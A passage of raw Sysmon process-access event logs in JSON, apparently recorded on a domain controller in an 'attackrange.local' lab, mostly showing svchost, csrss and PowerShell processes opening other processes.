11:56:20.509","SourceProcessGUID":"{90617006-415F-5F2D-0000-001026810700}","SourceProcessId":"5076","SourceThreadId":"4964","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-4164-5F2D-0000-00103AB80700}","TargetProcessId":"4644","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\68110cd890af5c762b58746b873e8fbb\\Microsoft.PowerShell.Commands.Management.ni.dll+8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5889d8|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58884c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b60b078|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b581434|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6c03a3d7|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b549c2c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5a80fb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b5f1|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b57d576|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5b6706","EventReceivedTime":"2020-08-07 11:56:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5017,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:20.509\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4164-5F2D-0000-00103AB80700}\r\nTargetProcessId: 4644\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:20.509","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4164-5F2D-0000-00103AB80700}","TargetProcessId":"4644","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5018,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:20.509\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:20.509","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5019,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:20.509\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:20.509","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5020,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:20.509\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:20.509","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5021,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:20.509\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:20.509","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5022,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:20.509\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:20.509","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5023,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:20.509\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:20.509","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5024,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:20.509\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 